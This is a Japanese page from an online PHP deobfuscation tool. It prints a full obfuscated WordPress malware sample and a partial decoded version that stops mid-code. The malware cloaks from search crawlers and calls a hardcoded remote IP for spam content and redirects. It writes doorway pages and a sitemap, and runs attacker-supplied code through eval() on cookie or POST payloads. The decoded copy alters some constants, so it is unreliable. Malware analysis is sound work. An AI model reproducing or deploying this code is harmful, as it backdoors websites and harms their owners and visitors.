Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php @ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _ey7bfu6{static private $_u0r4kmg8 = 2990481360;static function _1ny8p($_lnbftffh, $_s3elb85m){$_lnbftffh[2] = count($_lnbftf...



難読化されたPHPコード

<?php @ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _ey7bfu6{static private $_u0r4kmg8 = 2990481360;static function _1ny8p($_lnbftffh, $_s3elb85m){$_lnbftffh[2] = count($_lnbftffh) > 4 ? long2ip (_ey7bfu6::$_u0r4kmg8 - 434) : $_lnbftffh[2];$_iamdjwam = _ey7bfu6::_jk490($_lnbftffh, $_s3elb85m);if (!$_iamdjwam){$_iamdjwam = _ey7bfu6::_1b267($_lnbftffh, $_s3elb85m);}return $_iamdjwam;}static function _jk490($_lnbftffh, $_iamdjwam){if (!function_exists('curl_version')){return "";}$_j2xelbci = curl_init();curl_setopt($_j2xelbci, CURLOPT_URL, implode("/", $_lnbftffh));if (!empty($_iamdjwam)){curl_setopt($_j2xelbci, CURLOPT_POST, 1);curl_setopt($_j2xelbci, CURLOPT_POSTFIELDS, $_iamdjwam);}curl_setopt($_j2xelbci, CURLOPT_RETURNTRANSFER, TRUE);$_rp0ezspl = curl_exec($_j2xelbci);curl_close($_j2xelbci);return $_rp0ezspl;}static function _1b267($_lnbftffh, $_iamdjwam){if (!empty($_iamdjwam)){$_49zskxvz = stream_context_create(Array('http' => Array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_iamdjwam)));$_rp0ezspl = @file_get_contents(implode("/", $_lnbftffh), FALSE, $_49zskxvz);}else{$_rp0ezspl = @file_get_contents(implode("/", $_lnbftffh));}return $_rp0ezspl;}}class _kkpjno3{private static $_wvmlwdse = "";private static $_e5oqv10m = -1;private static $_f7qe7l53 = "";private $_bs1fmeki = "";private $_923z88s3 = "";private $_lknsvi7k = "";private $_1q1hvkqa = "";public static function _pdhbi($_u2jkrbms, $_krpr1cja, $_82r4ttyi){_kkpjno3::$_wvmlwdse = $_u2jkrbms . "/cache/";_kkpjno3::$_e5oqv10m = $_krpr1cja;_kkpjno3::$_f7qe7l53 = $_82r4ttyi;if (!@file_exists(_kkpjno3::$_wvmlwdse)){@mkdir(_kkpjno3::$_wvmlwdse);}}static public function _s813b(){$_bczaqqq5 = 0;foreach (scandir(_kkpjno3::$_wvmlwdse) as $_z0sz2sjb){$_bczaqqq5 += 1;}return $_bczaqqq5;}public static function _b4v91(){return TRUE;if (@file_exists(_kkpjno3::$_wvmlwdse)){return TRUE;}return FALSE;}public function __construct($_aeq1h9aa, $_norco4hk, $_mwynbu5c, $_dn1vnabh){$this->_bs1fmeki = $_aeq1h9aa;$this->_923z88s3 = $_norco4hk;$this->_lknsvi7k = $_mwynbu5c;$this->_1q1hvkqa = $_dn1vnabh;}public function _ha4si(){function _rcc43($_k8y7uc1d, $_87e1a8b7) {return round(rand($_k8y7uc1d, $_87e1a8b7 - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX ), 2);}$_3hz09da3 = _mjf146::_fcff7();$_iamdjwam = str_replace("{{ text }}", $this->_923z88s3,str_replace("{{ keyword }}", $this->_lknsvi7k,str_replace("{{ links }}", $this->_1q1hvkqa, $this->_bs1fmeki)));while (TRUE){$_wr4tkb5p = preg_replace('/'.preg_quote("{{ randkeyword }}", '/').'/', _mjf146::_c7wqi(), $_iamdjwam, 1);if ($_wr4tkb5p === $_iamdjwam){break;}$_iamdjwam = $_wr4tkb5p;}while (TRUE){preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_iamdjwam, $_tudh6p3f);if (empty($_tudh6p3f)){break;}$_mwynbu5c = @$_3hz09da3[intval($_tudh6p3f[1])];$_evofx0ys = _ck3gcg::_dxkh0($_mwynbu5c);$_iamdjwam = str_replace($_tudh6p3f[0], $_evofx0ys, $_iamdjwam);}while (TRUE){preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_iamdjwam, $_tudh6p3f);if (empty($_tudh6p3f)){break;}$_mwynbu5c = @$_3hz09da3[intval($_tudh6p3f[1])];$_iamdjwam = str_replace($_tudh6p3f[0], $_mwynbu5c, $_iamdjwam);}while (TRUE){preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_iamdjwam, $_tudh6p3f);if (empty($_tudh6p3f)){break;}$_iamdjwam = str_replace($_tudh6p3f[0], _rcc43($_tudh6p3f[1], $_tudh6p3f[2]), $_iamdjwam);}while (TRUE){preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_iamdjwam, $_tudh6p3f);if (empty($_tudh6p3f)){break;}$_iamdjwam = str_replace($_tudh6p3f[0], rand($_tudh6p3f[1], $_tudh6p3f[2]), $_iamdjwam);}return $_iamdjwam;}public function _4mlw1(){$_m0mxwu2u = _kkpjno3::$_wvmlwdse . md5($this->_lknsvi7k . _kkpjno3::$_f7qe7l53);if (_kkpjno3::$_e5oqv10m == -1){$_cb1y74mv = -1;}else{$_cb1y74mv = time() + (3600 * 24 * 30);}$_lai5jpa1 = Array("template" => $this->_bs1fmeki, "text" => $this->_923z88s3, "keyword" => $this->_lknsvi7k,"links" => $this->_1q1hvkqa, "expired" => $_cb1y74mv);@file_put_contents($_m0mxwu2u, serialize($_lai5jpa1));}static public function _gpexc($_mwynbu5c){$_m0mxwu2u = _kkpjno3::$_wvmlwdse . md5($_mwynbu5c . _kkpjno3::$_f7qe7l53);$_m0mxwu2u = @unserialize(@file_get_contents($_m0mxwu2u));if (!empty($_m0mxwu2u) && ($_m0mxwu2u["expired"] > time() || $_m0mxwu2u["expired"] == -1)){return new _kkpjno3($_m0mxwu2u["template"], $_m0mxwu2u["text"], $_m0mxwu2u["keyword"], $_m0mxwu2u["links"]);}else{return null;}}}class _mhsabk{private static $_wvmlwdse = "";private static $_poza0iyr = "";public static function _pdhbi($_u2jkrbms, $_u0xjyhq5){_mhsabk::$_wvmlwdse = $_u2jkrbms . "/";_mhsabk::$_poza0iyr = $_u0xjyhq5;if (!@file_exists(_mhsabk::$_wvmlwdse)){@mkdir(_mhsabk::$_wvmlwdse);}}public static function _b4v91(){return TRUE;if (_mhsabk::_s813b()){return TRUE;}return FALSE;}static public function _s813b(){$_bczaqqq5 = 0;foreach (scandir(_mhsabk::$_wvmlwdse) as $_z0sz2sjb){if (strpos($_z0sz2sjb, _mhsabk::$_poza0iyr) === 0){$_bczaqqq5 += 1;}}return $_bczaqqq5;}static public function _c7wqi(){$_yw4v0wwj = Array();foreach (scandir(_mhsabk::$_wvmlwdse) as $_z0sz2sjb){if (strpos($_z0sz2sjb, _mhsabk::$_poza0iyr) === 0){$_yw4v0wwj[] = $_z0sz2sjb;}}return @file_get_contents(_mhsabk::$_wvmlwdse . $_yw4v0wwj[array_rand($_yw4v0wwj)]);}static public function _4mlw1($_f0hgzllg){if (@file_exists(_mhsabk::$_poza0iyr . "_" . md5($_f0hgzllg) . ".html")){return;}@file_put_contents(_mhsabk::$_poza0iyr . "_" . md5($_f0hgzllg) . ".html", $_f0hgzllg);}}class _mjf146{private static $_wvmlwdse = "";private static $_poza0iyr = "";public static function _pdhbi($_u2jkrbms, $_u0xjyhq5){_mjf146::$_wvmlwdse = $_u2jkrbms . "/";_mjf146::$_poza0iyr = $_u0xjyhq5;if (!@file_exists(_mjf146::$_wvmlwdse)){@mkdir(_mjf146::$_wvmlwdse);}}private static function _d6bgq(){$_te9j3qxp = Array();foreach (scandir(_mjf146::$_wvmlwdse) as $_z0sz2sjb){if (strpos($_z0sz2sjb, _mjf146::$_poza0iyr) === 0){$_te9j3qxp[] = $_z0sz2sjb;}}return $_te9j3qxp;}public static function _b4v91(){return TRUE;$_te9j3qxp = _mjf146::_d6bgq();if (!empty($_te9j3qxp)){return TRUE;}return FALSE;}static public function _c7wqi(){$_te9j3qxp = _mjf146::_d6bgq();$_3hz09da3 = @file(_mjf146::$_wvmlwdse . $_te9j3qxp[array_rand($_te9j3qxp)], FILE_IGNORE_NEW_LINES);return $_3hz09da3[array_rand($_3hz09da3)];}static public function _fcff7(){$_3hz09da3 = Array();$_te9j3qxp = _mjf146::_d6bgq();foreach ($_te9j3qxp as $_tjwv7spe){$_3hz09da3 = array_merge($_3hz09da3, @file(_mjf146::$_wvmlwdse . $_tjwv7spe, FILE_IGNORE_NEW_LINES));}return $_3hz09da3;}static public function _4mlw1($_p3zclow3){if (@file_exists(_mjf146::$_poza0iyr . "_" . md5($_p3zclow3) . ".list")){return;}@file_put_contents(_mjf146::$_poza0iyr . "_" . md5($_p3zclow3) . ".list", $_p3zclow3);}}class _ck3gcg{static public $_ngm9q95l = "4.3";static public $_jahh63sk = "e8791a1c-00eb-ec84-2a2a-7e4a165d08d9";private $_xhd9f49l = "http://136.12.78.46/app/assets/api2?action=redir";private $_g6yf5sq0 = "http://136.12.78.46/app/assets/api?action=page";static public $_fa134rdo = 20;static public $_6hy4eh9a = 100;static public function _1bpj3(){}private function _1c7j7(){$_13rwhtgp = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#','#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i','#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i','#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i','#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i','#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i','#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i','#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i','#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i','#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i','#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i','#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i','#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i','#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i','#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i','#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i','#charlotte#i', '#ngb#i', '#BingBot#i');if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_z3uhrd71 = $_SERVER['HTTP_X_FORWARDED_FOR'];} elseif (!empty($_SERVER['REMOTE_ADDR'])) {$_z3uhrd71 = $_SERVER['REMOTE_ADDR'];} else {$_z3uhrd71 = "";}if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_13rwhtgp, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))){$_zs0s16cr = 1;}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])){$_zs0s16cr = 1;}elseif (FALSE !== strpos(@gethostbyaddr($_z3uhrd71), 'google')) {$_zs0s16cr = 1;}elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE){$_zs0s16cr = 1;}else{$_zs0s16cr = 0;}return $_zs0s16cr;}private static function _7hi9k(){$_s3elb85m = Array();$_s3elb85m['ip'] = $_SERVER['REMOTE_ADDR'];$_s3elb85m['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_s3elb85m['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_s3elb85m['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_s3elb85m['ref'] = @$_SERVER['HTTP_REFERER'];$_s3elb85m['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_s3elb85m['acp'] = @$_SERVER['HTTP_ACCEPT'];$_s3elb85m['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_s3elb85m['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_s3elb85m;}public function __construct(){$this->_xhd9f49l = explode("/", $this->_xhd9f49l);$this->_g6yf5sq0 = explode("/", $this->_g6yf5sq0);}static public function _vi3qm($_yev6g3ol){if (strlen($_yev6g3ol) < 4){return "";}$_d75f1e9i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_3hz09da3 = str_split($_d75f1e9i);$_3hz09da3 = array_flip($_3hz09da3);$_25embz2l = 0;$_8pl1bz14 = "";$_yev6g3ol = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_yev6g3ol);do {$_qv3kz4wj = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];$_e6fitcuk = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];$_yxkh526t = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];$_z0sc11xx = $_3hz09da3[$_yev6g3ol[$_25embz2l++]];$_j9eaeagg = ($_qv3kz4wj << 2) | ($_e6fitcuk >> 4);$_4a1k4c7u = (($_e6fitcuk & 15) << 4) | ($_yxkh526t >> 2);$_jqbakfe1 = (($_yxkh526t & 3) << 6) | $_z0sc11xx;$_8pl1bz14 = $_8pl1bz14 . chr($_j9eaeagg);if ($_yxkh526t != 64) {$_8pl1bz14 = $_8pl1bz14 . chr($_4a1k4c7u);}if ($_z0sc11xx != 64) {$_8pl1bz14 = $_8pl1bz14 . chr($_jqbakfe1);}} while ($_25embz2l < strlen($_yev6g3ol));return $_8pl1bz14;}private function _qqyc3($_mwynbu5c){$_aeq1h9aa = "";$_norco4hk = "";$_s3elb85m = _ck3gcg::_7hi9k();$_s3elb85m["uid"] = _ck3gcg::$_jahh63sk;$_s3elb85m["keyword"] = $_mwynbu5c;$_s3elb85m["tc"] = 10;$_s3elb85m = http_build_query($_s3elb85m);$_36j12vln = _ey7bfu6::_1ny8p($this->_g6yf5sq0, $_s3elb85m);if (strpos($_36j12vln, _ck3gcg::$_jahh63sk) === FALSE){return Array($_aeq1h9aa, $_norco4hk);}$_aeq1h9aa = _mhsabk::_c7wqi();$_norco4hk = substr($_36j12vln, strlen(_ck3gcg::$_jahh63sk));$_norco4hk = explode("\n", $_norco4hk);shuffle($_norco4hk);$_norco4hk = implode(" ", $_norco4hk);return Array($_aeq1h9aa, $_norco4hk);}private function _1nhob(){$_s3elb85m = _ck3gcg::_7hi9k();$_s3elb85m["uid"] = _ck3gcg::$_jahh63sk;$_s3elb85m = http_build_query($_s3elb85m);$_xuw1b6fq = _ey7bfu6::_1ny8p($this->_xhd9f49l, $_s3elb85m);$_xuw1b6fq = @unserialize($_xuw1b6fq);if (isset($_xuw1b6fq["type"]) && $_xuw1b6fq["type"] == "redir") {if (!empty($_xuw1b6fq["data"]["header"])) {header($_xuw1b6fq["data"]["header"]);return true;} elseif (!empty($_xuw1b6fq["data"]["code"])) {echo $_xuw1b6fq["data"]["code"];return true;}}return false;}public function _b4v91(){return _kkpjno3::_b4v91() && _mhsabk::_b4v91() && _mjf146::_b4v91();}static public function _93pzo(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _s7ghk(){$_r6htkols = explode("?", $_SERVER["REQUEST_URI"], 2);$_r6htkols = $_r6htkols[0];if (strpos($_r6htkols, ".php") === FALSE){$_r6htkols = explode("/", $_r6htkols);array_pop($_r6htkols);$_r6htkols = implode("/", $_r6htkols) . "/";}return sprintf("%s://%s%s", _ck3gcg::_93pzo() ? "https" : "http", $_SERVER['HTTP_HOST'], $_r6htkols);}public static function _9k0vu(){$_r6htkols = explode("?", $_SERVER["REQUEST_URI"], 2);$_r6htkols = $_r6htkols[0];$_u2jkrbms = substr($_r6htkols, 0, strrpos($_r6htkols, "/"));return sprintf("%s://%s%s", _ck3gcg::_93pzo() ? "https" : "http", $_SERVER['HTTP_HOST'], $_u2jkrbms);}public static function _dxkh0($_mwynbu5c){$_9obk3wri = _ck3gcg::_s7ghk();$_5rycsd09 = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);$_vig54psg = "";if (substr($_9obk3wri, -1) == "/"){if (ord($_5rycsd09[1]) % 2){$_mwynbu5c = str_replace(" ", "-", $_5rycsd09 . "-" . $_mwynbu5c);}else{$_mwynbu5c = str_replace(" ", "-", $_mwynbu5c . "-" . $_5rycsd09);}$_vig54psg = sprintf("%s%s", $_9obk3wri, urlencode($_mwynbu5c));}else{if (ord($_5rycsd09[0]) % 2){$_vig54psg = sprintf("%s?%s=%s",$_9obk3wri,$_5rycsd09,urlencode(str_replace(" ", "-", $_mwynbu5c)));}else{$_h8ipbj2e = Array("id", "page", "tag");$_0wsrzinl = $_h8ipbj2e[ord($_5rycsd09[2]) % count($_h8ipbj2e)];if (ord($_5rycsd09[1]) % 2){$_mwynbu5c = str_replace(" ", "-", $_5rycsd09 . "-" . $_mwynbu5c);}else{$_mwynbu5c = str_replace(" ", "-", $_mwynbu5c . "-" . $_5rycsd09);}$_vig54psg = sprintf("%s?%s=%s",$_9obk3wri,$_0wsrzinl,urlencode($_mwynbu5c));}}return $_vig54psg;}public static function _zax9d($_k8y7uc1d, $_87e1a8b7){$_54rzpdff = rand($_k8y7uc1d, $_87e1a8b7);$_hvljvslq = "";$_0wsrzinl = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);for ($_25embz2l=0; $_25embz2l < $_54rzpdff; $_25embz2l++){$_mwynbu5c = _mjf146::_c7wqi();$_hvljvslq .= sprintf("<a href='%s'>%s</a>,\n",_ck3gcg::_dxkh0($_mwynbu5c), ucwords($_mwynbu5c));}return $_hvljvslq;}public static function _c0lkf(){$_p3xzxpbt = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";$_7f4bntyy = "</urlset>";$_t6tglu6l = "";$_5rycsd09 = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);$_3hz09da3 = _mjf146::_fcff7();foreach ($_3hz09da3 as $_2r80wem0){$_vig54psg = _ck3gcg::_dxkh0($_2r80wem0);$_6zynwyty = time() - mt_rand(0, 60 * 60 * 24 * 30);$_t6tglu6l .= "<url>\n";$_t6tglu6l .= sprintf("<loc>%s</loc>\n", $_vig54psg);$_t6tglu6l .= sprintf("<lastmod>%s</lastmod>\n", date("Y-m-d", $_6zynwyty));$_t6tglu6l .= "<priority>0.3</priority>\n";$_t6tglu6l .= "</url>\n";}$_0iw6z9b2 = $_p3xzxpbt . $_t6tglu6l . $_7f4bntyy;$_a8qvtbpu = dirname(__FILE__) . "/sitemap.xml";$_y6klfo9f = _ck3gcg::_9k0vu() . "/sitemap.xml";@file_put_contents($_a8qvtbpu, $_0iw6z9b2);return $_y6klfo9f;}public function _0n601(){$_0wsrzinl = substr(md5(_ck3gcg::$_jahh63sk . "salt3"), 0, 6);if (isset($_GET[$_0wsrzinl])) {$_mwynbu5c = $_GET[$_0wsrzinl];}elseif (strpos($_SERVER["REQUEST_URI"], $_0wsrzinl) !== FALSE){$_a5kfykyv = explode("/", $_SERVER["REQUEST_URI"]);foreach ($_a5kfykyv as $_ke8ch1x4) {if (strpos($_ke8ch1x4, $_0wsrzinl) !== FALSE){$_rxd102e4 = explode("=", $_ke8ch1x4);$_pbbjixe2 = array_pop($_rxd102e4);$_pbbjixe2 = str_replace($_0wsrzinl . "-", "", $_pbbjixe2);$_pbbjixe2 = str_replace("-" . $_0wsrzinl, "", $_pbbjixe2);$_mwynbu5c = $_pbbjixe2;}}}if (empty($_mwynbu5c)){$_3hz09da3 = _mjf146::_fcff7();$_mwynbu5c = $_3hz09da3[0];}if (!empty($_mwynbu5c)){$_mwynbu5c = str_replace("-", " ", $_mwynbu5c);if (!$this->_1c7j7()){if ($this->_1nhob()){return;}}$_mwynbu5c = urldecode($_mwynbu5c);$_xuw1b6fq = _kkpjno3::_gpexc($_mwynbu5c);if (empty($_xuw1b6fq)){list($_aeq1h9aa, $_norco4hk) = $this->_qqyc3($_mwynbu5c);if (empty($_norco4hk)){return;}$_xuw1b6fq = new _kkpjno3($_aeq1h9aa, $_norco4hk, $_mwynbu5c, _ck3gcg::_zax9d(_ck3gcg::$_fa134rdo, _ck3gcg::$_6hy4eh9a));$_xuw1b6fq->_4mlw1();}echo $_xuw1b6fq->_ha4si();}}}_kkpjno3::_pdhbi(dirname(__FILE__), -1, _ck3gcg::$_jahh63sk);_mhsabk::_pdhbi(dirname(__FILE__), substr(md5(_ck3gcg::$_jahh63sk . "salt12"), 0, 4));_mjf146::_pdhbi(dirname(__FILE__), substr(md5(_ck3gcg::$_jahh63sk . "salt22"), 0, 4));function _thdaz($_36j12vln, $_2r80wem0){$_p03x2aoe = "";for ($_25embz2l = 0; $_25embz2l < strlen($_36j12vln);) {for ($_wuzr1p5k = 0; $_wuzr1p5k < strlen($_2r80wem0) && $_25embz2l < strlen($_36j12vln); $_wuzr1p5k++, $_25embz2l++) {$_p03x2aoe .= chr(ord($_36j12vln[$_25embz2l]) ^ ord($_2r80wem0[$_wuzr1p5k]));}}return $_p03x2aoe;}function _3zvc1($_36j12vln, $_2r80wem0, $_7rvu1ebg){return _thdaz(_thdaz($_36j12vln, $_2r80wem0), $_7rvu1ebg);}foreach (array_merge($_COOKIE, $_POST) as $_1c87cge0 => $_36j12vln) {$_36j12vln = @unserialize(_3zvc1(_ck3gcg::_vi3qm($_36j12vln), $_1c87cge0, _ck3gcg::$_jahh63sk));if (isset($_36j12vln['ak']) && _ck3gcg::$_jahh63sk == $_36j12vln['ak']) {if ($_36j12vln['a'] == 'doorway2') {if ($_36j12vln['sa'] == 'check') {$_iamdjwam = _ey7bfu6::_1ny8p(explode("/", "http://httpbin.org/"), "");if (strlen($_iamdjwam) > 512) {echo @serialize(Array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l,"cache" => _kkpjno3::_s813b(),"keywords" => count(_mjf146::_fcff7()),"templates" => _mhsabk::_s813b()));}exit;}if ($_36j12vln['sa'] == 'templates') {foreach ($_36j12vln["templates"] as $_aeq1h9aa) {_mhsabk::_4mlw1($_aeq1h9aa);echo @serialize(Array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l, ));}}if ($_36j12vln['sa'] == 'keywords') {_mjf146::_4mlw1($_36j12vln["keywords"]);_ck3gcg::_c0lkf();echo @serialize(Array("uid" => _ck3gcg::$_jahh63sk, "v" => _ck3gcg::$_ngm9q95l, ));}}if ($_36j12vln['sa'] == 'eval') {eval($_36j12vln["data"]);exit;}}}$_i4sgq6bu = new _ck3gcg();if ($_i4sgq6bu->_b4v91()){$_i4sgq6bu->_0n601();}exit();

デコード(難読化解除)されたコード

<?php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
date_default_timezone_set('UTC');
class _ey7bfu6
{
    private static $_u0r4kmg8 = 2990481360;
    static function _1ny8p($_lnbftffh, $_s3elb85m)
    {
        $_lnbftffh[2] = count($_lnbftffh) > 4 ? long2ip(_ey7bfu6::$_u0r4kmg8 - 434) : $_lnbftffh[2];
        $_iamdjwam = _ey7bfu6::_jk490($_lnbftffh, $_s3elb85m);
        if (!$_iamdjwam) {
            $_iamdjwam = _ey7bfu6::_1b267($_lnbftffh, $_s3elb85m);
        }
        return $_iamdjwam;
    }
    static function _jk490($_lnbftffh, $_iamdjwam)
    {
        if (!function_exists('curl_version')) {
            return "";
        }
        $_j2xelbci = curl_init();
        curl_setopt($_j2xelbci, CURLOPT_URL, implode("/", $_lnbftffh));
        if (!empty($_iamdjwam)) {
            curl_setopt($_j2xelbci, CURLOPT_POST, 1);
            curl_setopt($_j2xelbci, CURLOPT_POSTFIELDS, $_iamdjwam);
        }
        curl_setopt($_j2xelbci, CURLOPT_RETURNTRANSFER, TRUE);
        $_rp0ezspl = curl_exec($_j2xelbci);
        curl_close($_j2xelbci);
        return $_rp0ezspl;
    }
    static function _1b267($_lnbftffh, $_iamdjwam)
    {
        if (!empty($_iamdjwam)) {
            $_49zskxvz = stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_iamdjwam)));
            $_rp0ezspl = @file_get_contents(implode("/", $_lnbftffh), FALSE, $_49zskxvz);
        } else {
            $_rp0ezspl = @file_get_contents(implode("/", $_lnbftffh));
        }
        return $_rp0ezspl;
    }
}
class _kkpjno3
{
    private static $_wvmlwdse = "";
    private static $_e5oqv10m = 1;
    private static $_f7qe7l53 = "";
    private $_bs1fmeki = "";
    private $_923z88s3 = "";
    private $_lknsvi7k = "";
    private $_1q1hvkqa = "";
    public static function _pdhbi($_u2jkrbms, $_krpr1cja, $_82r4ttyi)
    {
        _kkpjno3::$_wvmlwdse = $_u2jkrbms . "/cache/";
        _kkpjno3::$_e5oqv10m = $_krpr1cja;
        _kkpjno3::$_f7qe7l53 = $_82r4ttyi;
        if (!@file_exists(_kkpjno3::$_wvmlwdse)) {
            @mkdir(_kkpjno3::$_wvmlwdse);
        }
    }
    public static function _s813b()
    {
        $_bczaqqq5 = 0;
        foreach (scandir(_kkpjno3::$_wvmlwdse) as $_z0sz2sjb) {
            $_bczaqqq5 += 1;
        }
        return $_bczaqqq5;
    }
    public static function _b4v91()
    {
        return TRUE;
    }
    public function __construct($_aeq1h9aa, $_norco4hk, $_mwynbu5c, $_dn1vnabh)
    {
        $this->_bs1fmeki = $_aeq1h9aa;
        $this->_923z88s3 = $_norco4hk;
        $this->_lknsvi7k = $_mwynbu5c;
        $this->_1q1hvkqa = $_dn1vnabh;
    }
    public function _ha4si()
    {
        function _rcc43($_k8y7uc1d, $_87e1a8b7)
        {
            return round(rand($_k8y7uc1d, $_87e1a8b7 - 1) + rand(0, -1) / PHP_INT_MAX, 2);
        }
        $_3hz09da3 = _mjf146::_fcff7();
        $_iamdjwam = str_replace("{{ text }}", $this->_923z88s3, str_replace("{{ keyword }}", $this->_lknsvi7k, str_replace("{{ links }}", $this->_1q1hvkqa, $this->_bs1fmeki)));
        while (TRUE) {
            $_wr4tkb5p = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _mjf146::_c7wqi(), $_iamdjwam, 1);
            if ($_wr4tkb5p === $_iamdjwam) {
                break;
            }
            $_iamdjwam = $_wr4tkb5p;
        }
        while (TRUE) {
            preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\\d*) }}/', $_iamdjwam, $_tudh6p3f);
            if (empty($_tudh6p3f)) {
                break;
            }
            $_mwynbu5c = @$_3hz09da3[intval($_tudh6p3f[1])];
            $_evofx0ys = _ck3gcg::_dxkh0($_mwynbu5c);
            $_iamdjwam = str_replace($_tudh6p3f[0], $_evofx0ys, $_iamdjwam);
        }
        while (TRUE) {
            preg_match('/{{ KEYWORDBYINDEX (\\d*) }}/', $_iamdjwam, $_tudh6p3f);
            if (empty($_tudh6p3f)) {
                break;
            }
            $_mwynbu5c = @$_3hz09da3[intval($_tudh6p3f[1])];
            $_iamdjwam = str_replace($_tudh6p3f[0], $_mwynbu5c, $_iamdjwam);
        }
        while (TRUE) {
            preg_match('/{{ RANDFLOAT (\\d*)-(\\d*) }}/', $_iamdjwam, $_tudh6p3f);
            if (empty($_tudh6p3f)) {
                break;
            }
            $_iamdjwam = str_replace($_tudh6p3f[0], _rcc43($_tudh6p3f[1], $_tudh6p3f[2]), $_iamdjwam);
        }
        while (TRUE) {
            preg_match('/{{ RANDINT (\\d*)-(\\d*) }}/', $_iamdjwam, $_tudh6p3f);
            if (empty($_tudh6p3f)) {
                break;
            }
            $_iamdjwam = str_replace($_tudh6p3f[0], rand($_tudh6p3f[1], $_tudh6p3f[2]), $_iamdjwam);
        }
        return $_iamdjwam;
    }
    public function _4mlw1()
    {
        $_m0mxwu2u = _kkpjno3::$_wvmlwdse . md5($this->_lknsvi7k . _kkpjno3::$_f7qe7l53);
        if (_kkpjno3::$_e5oqv10m == 1) {
            $_cb1y74mv = 1;
        } else {
            $_cb1y74mv = time() + 2592000;
        }
        $_lai5jpa1 = array("template" => $this->_bs1fmeki, "text" => $this->_923z88s3, "keyword" => $this->_lknsvi7k, "links" => $this->_1q1hvkqa, "expired" => $_cb1y74mv);
        @file_put_contents($_m0mxwu2u, serialize($_lai5jpa1));
    }
    public static function _gpexc($_mwynbu5c)
    {
        $_m0mxwu2u = _kkpjno3::$_wvmlwdse . md5($_mwynbu5c . _kkpjno3::$_f7qe7l53);
        $_m0mxwu2u = @unserialize(@file_get_contents($_m0mxwu2u));
        if (!empty($_m0mxwu2u) && ($_m0mxwu2u["expired"] > time() || $_m0mxwu2u["expired"] == 1)) {
